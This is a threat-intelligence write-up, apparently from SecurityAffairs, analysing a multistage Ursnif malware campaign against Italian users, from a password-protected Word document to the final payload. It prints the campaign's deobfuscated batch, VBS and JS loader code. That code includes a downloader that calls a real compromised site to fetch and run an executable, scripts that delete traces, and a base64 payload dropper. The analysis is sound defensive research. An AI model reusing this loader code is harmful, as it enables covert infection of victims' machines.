Malware researchers from Cybaze-Yoroi ZLab have uncovered a new Ursnif campaign that is targeting Italy with a new infection chain.

Introduction

Ursnif is one of the most and widespread common threats today delivered through malspam campaigns. It appeared on the threat landscape about 13 years ago and gained its popularity since 2014 when its source code was leaked online giving the opportunity to several threat actors to develop their own version.



For months, Italian users have been targeted by Ursnif malicious campaigns and Cybaze-Yoroi Zlab have closely observed these campaigns in order to track the evolution of TTPs and the sophistication of the infection chains. In almost all the campaigns identified by the researchers it is possible to notice a massive usage of powershell as dropper stagers,

This time, Cybaze-Yoroi ZLab intercepted a new Ursnif campaign targeting Italian users that relies on an Italian compromised website that acts as a DropUrl, it also shows a novelty usage of Javascript, batch files and SFX archives, refining the malware’s infection chain.



Figure 1: Ursnif Infection Chain

Technical Analysis

This brand new Ursnif campaign is delivered as a malicious mail containing a password protected document:



Hash e9697d963d66792a91991e64537707a94f466421615277d91675b83a408eef93 Threat Ursnif document dropper Brief Description Ursnif Document Dropper Password Protected Ssdeep 12288:9ZPntL7GQw8jzl7v4MvvnaTiIY11jTW84LYMdX9:ftXGxQ7vBvvnjVbTWthdt

Table 1. Sample information



Once the Microsoft Word document is opened, it will ask for a password to enable the opening of the document:



Figure 2: Request of the password inside the document



This technique to protect the document with a password continues to be a very effective method to evade detection of AVs. In fact, at the time of writing, the AV score is zero.



Figure 3: VirusTotal detection rate



Once provided the correct password, the document proceeds with the sophisticated infection chain. Then the malware enables the execution of an initial batch file:



Figure 4: Piece of the BAT file



The batch file is easy to read, also with the junk numbers placed inside the code. After cleaning the script looks like this:



set HyperX=C:\DiskDrive\1\Volume\BackFiles\pinumber.vbsecho Dim mySettings1, mySettings2, mySettings3, mySettings4, mySettings5, concept, Gear >> %HyperX%echo On Error Resume Next >> %HyperX%echo. >> %HyperX%echo Set mySettings1 = Wscript.Arguments >> %HyperX%echo Set mySettings2 = CreateObject(“WinHttp.WinHttpRequest.5.1”) >> %HyperX%echo mySettings5 = mySettings1(0) >> %HyperX%echo concept = mySettings1(1) >> %HyperX%echo. >> %HyperX%echo mySettings2.Open “GET”, mySettings5, False >> %HyperX%echo mySettings2.Send >> %HyperX%echo Gear = mySettings2.Status >> %HyperX%echo. >> %HyperX%echo If Gear ^<^> 200 Then >> %HyperX%echo WScript.Quit 1 >> %HyperX%echo End If >> %HyperX%echo. >> %HyperX%echo Set mySettings4 = CreateObject(“ADODB.Stream”) >> %HyperX%echo mySettings4.Open >> %HyperX%echo mySettings4.Type = 1 >> %HyperX%echo mySettings4.Write mySettings2.ResponseBody >> %HyperX%echo mySettings4.Position = 0 >> %HyperX%echo. >> %HyperX%echo Set mySettings3 = CreateObject(“Scripting.FileSystemObject”) >> %HyperX%echo If mySettings3.FileExists(concept) Then mySettings3.DeleteFile concept >> %HyperX%echo mySettings4.SaveToFile concept >> %HyperX%echo mySettings4.Close >> %HyperX%cscript //nologo C:\DiskDrive\1\Volume\BackFiles\pinumber.vbs http://tealex.it/colorex/somatrex.php C:\DiskDrive\1\Volume\BackFiles\Hikerio.exebreak>C:\DiskDrive\1\Volume\BackFiles\pinumber.vbshell -C Sleep -s 4;Saps ‘C:\DiskDrive\1\Volume\BackFiles\Hikerio.exe’

Code snippet 1



The script creates a new file named “pinumber.vbs” and starts filling it with the instructions through the “echo” function appending the strings to the next vbs stage. The instructions will be commented on in the next stage of the malware infection.

Then the Visual Basic script will be stored in that unusual path:



C:\DiskDrive\1\Volume\BackFiles\pinumber.vbs

Dim mySettings1, mySettings2, mySettings3, mySettings4, mySettings5, concept, Gear On Error Resume Next Set mySettings1 = Wscript.Arguments Set mySettings2 = CreateObject(“WinHttp.WinHttpRequest.5.1”) mySettings5 = mySettings1(0) concept = mySettings1(1) mySettings2.Open “GET”, mySettings5, False mySettings2.Send Gear = mySettings2.Status If Gear <> 200 Then WScript.Quit 1 End If Set mySettings4 = CreateObject(“ADODB.Stream”) mySettings4.Open mySettings4.Type = 1 mySettings4.Write mySettings2.ResponseBody mySettings4.Position = 0 Set mySettings3 = CreateObject(“Scripting.FileSystemObject”) If mySettings3.FileExists(concept) Then mySettings3.DeleteFile concept mySettings4.SaveToFile concept mySettings4.Close

Code Snippet 2



Another relevant element to notice in “Code Snippet 1”, is the presence of the DropURL provided as an argument to the “Code snippet 2” and used to download the next stages.



hxxp://tealex.]it/colorex/somatrex.]php

In order to use a VBS script to download the next stage, the malware loads two Objects, “WinHttp.WinHttpRequest.5.1” and “ADODB.Stream” which allow the script to download the required component from the DropURL. This time the DropURL is an Italian compromised law-themed website. The crooks have previously hacked the website and leveraged it to install a webshell on it and finally spread malware. An evidence about the presence of the malicious file hosted on the legit website is shown in the following figure:



Figure 5: Communication with the DropUrl



The SFX module

The downloaded file, as previously mentioned, is a Self Extracting Archive (SFX/SEA). Basic information about the sample are provided below:



Hash 15db7230bb8a6a1a9e8a7fa319220622e35a3bdaf75307280ef3b6c6b514d697 Threat Ursnif SFX packer Brief Description Ursnif SFX Packer Ssdeep 24576:120gPgFKEGQNXSAHpZIAcq0vFwKTqSmtLeStyRM3Jk6:MKVNCAHp/b07grIRGk6

Table 2. Sample information about the ursnif SFX Packer



Exploring the SFX, it is possible to see its content. In the archive, five files with different extensions are stored. Once executed, the first file that runs is “Dwsil23j.vbs”, as described in the archive configuration on the right of the following figure.



Figure 6: Content of The SFX file



The content of the VBS script previously mentioned is very trivial: its only purpose is to run “setcong.bat”, a batch script even contained in the SFX archive.



Set WshShell = CreateObject(“WScript.Shell”) WshShell.Run “setcong.bat”, 0, false

Code Snippet 3



The content of “setcong.bat” batch file is the following:



@Echo off

timeout 3

rename driver3213.sys plugin.rar”lsassc.exe” e -pControl plugin.rartimeout 5start sillent.vbstimeout 4del /f /q “setcong.bat”del /f /q “plugin.rar”del /f /q “C:\Users\mycomp\Desktop\inst.exe”@exit

Code Snippet 4



In the figure 6 is reported the content of the SFX archive, we can also notice the presence of the file “driver3213.sys which appears as a driver, but that hides a different content. The file is immediately renamed into “plugin.rar” and extracted through the “lsassc.exe” utility, which is actually a legit routine aimed at extracting other components. The “plugin.rar” is extracted using the password “Control” in this way:



Figure 7: Extraction and content of “plugin.rar” file

The “plugin.rar” archive content

At this point, the script shown in Code Snippet 4 launches the “silent.vbs” script contained inside the “plugin.rar” archive, the script is able to cover tracks deleting some files no longer useful.

The content of the “silent.vbs” archive is the following:



Set WshShell = CreateObject(“WScript.Shell”)WshShell.Run “C:\ASPNET\Terminaled\data.bat”, 0, false

Code Snippet 5



Using the same technique shown in Code Snippet 3, “silent.vbs” script has the only purpose to launch the “data.bat” file just extracted from “plugin.rar” archive:



@echo offattrib +s +h “C:\ASPNET\Terminaled”

timeout 2set lkpzaffqx=C:\ASPNET\Terminaledset cdeefyxbe=javagh.jsjavagh.js /starttaskkill /f /im lsassc.exetaskkill /f /im lsassc.exeattrib -s -h “C:\ASPNET\Terminaled\javagh.js”timeout 4del “C:\ASPNET\Terminaled\Dwsil23j.vbs”del “C:\ASPNET\Terminaled\javagh.js”del “C:\ASPNET\Terminaled\lsassc.exe”del “C:\ASPNET\Terminaled\sillent.vbs”del “C:\ASPNET\Terminaled\plugin.rar”del “C:\ASPNET\Terminaled\data.bat”del /q “C:\ASPNET\Terminaled*.*”rd “C:\ASPNET\Terminaled”@exit

Code Snippet 6



The bat script executes the “javagh.js” stager after forcing the kill of the previous “.rar” archive and finally removes all the traces through the deletion of all files contained in the folder at “C:\ASPNET\Terminaled\” path.

The content of the JS script is reported below:



WShell = new ActiveXObject(‘WScript.Shell’);var cr = 2;var df = new ActiveXObject(“Scripting.FileSystemObject”);var tmp = df.GetSpecialFolder(cr) + ‘///’;

function decodeBase64(a) { var b = new ActiveXObject(“Microsoft.XMLDOM”);var c = b.createElement(“tmp”); c.dataType = “bin.base64”;c.text = a;return c.nodeTypedValue;}

function writeBytes(a, b) { var c = 1; var d = new ActiveXObject(“ADODB.Stream”);d.Type = c; d.Open(); d.Write(b); d.SaveToFile(a);}

function writeBase64FileInTemp(a, b) { var c = 2; var d = new ActiveXObject(“Scripting.FileSystemObject”); var e = d.GetSpecialFolder(c) + “///” + b; if (d.FileExists(e)) {return e;} else { writeBytes(e, decodeBase64(a)); return e; }}

var picture = “BASE64-PAYLOAD1”;var server = “BASE64-PAYLOAD2”;

writeBase64FileInTemp(picture, “scvhoster.exe”);WShell.run(tmp + “scvhoster.exe”);



Code snippet 7



This is the last stage of the infection chain. The JS module has got two embedded payloads encoded in Base64 without any type of encryption and any type of obfuscation. The variable named “server” is not referenced by the other code inside the script. However, we decided to take a look inside the executable. The executable is written in .NET and, through a static analysis we discovered a fake Office Update, as shown in the following screen:

Figure 8: Screen of the server.exe file



As previously mentioned, the .exe is never called in the code, so we put our attention on the second payload contained in the variable named “picture”. Once executed, the program has been renamed in “scvhoster.exe” which is nothing but the Ursnif payload already described in other our report. It performs the classic injection technique through “rundll32.exe”, using “iexplore” as host process. After that, all the information about compromised machine are sent over the HTTP protocol using a GET method:



Figure 9: Example of communication with the C2



Unfortunately, at the time of the analysis, the C2 did not correctly respond and the payload does not send to the C2 the configuration about the infection on the victim machine. However, digging inside the memory process, we found the key “fiwDZ5p05nCx1JSA” used to encrypt the configuration string:



Figure 10: Key of the configuration string of Ursnif version



After the decryption phase, as masterfully explained by Fortinet Labs,the string containing all the parameters sent in clear mode looks like following:



type=0&soft=3&version=300854&user=024fd34c2d0f4520be46c31a267d42f4&group=202003111&id=8576b0d0&arc=0&crc=00000000&uptime=10243

Code Snippet 8



Conclusion

In one of our previous analyses, we published a comparative table that tracks the evolution of the TTPs used to spread and deliver the malware. We observed the constant presence of heavily obfuscated Powershell scripts, but this campaign appears different because operators abandoned it in favour of VBS and JS scripts. Our threat intelligence and threat hunting activities confirm this new trend, attackers use javascripts as a multistage loader.

The changes in the TTPs could be caused by:

The continuous enhancement of the AMSI engine used by Microsoft to scan the powershell scripts;

The introduction of the events log of the latest versions of the Powershell engine;

The efficiency and the low AV detection rate of the BAT – SFX – JS chain already observed in campaigns attributed to the Gamaredon cyberespionage group.

Our constant threat monitoring intelligence aims at tracking the evolution of the modus operandi of these Cyber Threats and at providing the best protection to our clients.



Figure 11: Update of the comparative table of the Ursnif TTPs

Technical details, including Indicators of Compromise (IoCs) and Yara rules are reported in the analysis published by researchers from Cybaze – Yoroi ZLab :

Pierluigi Paganini

(SecurityAffairs – Ursnif malware, cybercrime)